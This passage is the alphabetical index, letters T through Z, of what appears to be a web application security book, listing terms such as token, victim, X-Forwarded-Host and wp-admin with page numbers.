target 14, 21, 24, 31, 44, 45, 52, 74, 77, 84
time-based 36
time-consuming 35
timestamp 17
token 57–59, 66–68, 70–72, 74, 75, 77, 78, 87–94
transaction 66, 67
tree-based 61
two-factor 54
U
unauthenticated 10
unauthorized 42
unencrypted 58
urlencode 5, 7, 9
User-Agent 43–45
user-data 44
user-entered 56
user-provided 81
user-supplied 2
utility 40
V
validating 42
vector 64
Indexs 110
verification 72, 85
victim 21–28, 43–46, 49, 59, 60, 75, 91, 92, 94
violation 69
visible 55
vuln 2, 5, 15, 19, 20, 34, 35, 53
vulnerabilities 3, 7, 10, 17, 21, 35, 42, 48, 53, 65, 78, 87
vulnerability 7, 12, 24–27, 42, 48, 53, 78, 87, 91
W
WebRTC 2
webserver 46, 52
website 14, 38, 44, 45, 56, 59, 64, 68, 71, 91, 94
well-known 61
well-understood 69
whatsapp 94
whitelisted 47
whitelists 90
window 62–64
wordlists 20
wp-admin 50
X
X-Forwarded-Host 53, 54
xhtml 81
XMLSigner 85
XMLVerifier 85
Y
yearly 68
Indexs 111
Z
zero 16
zero-like 16, 17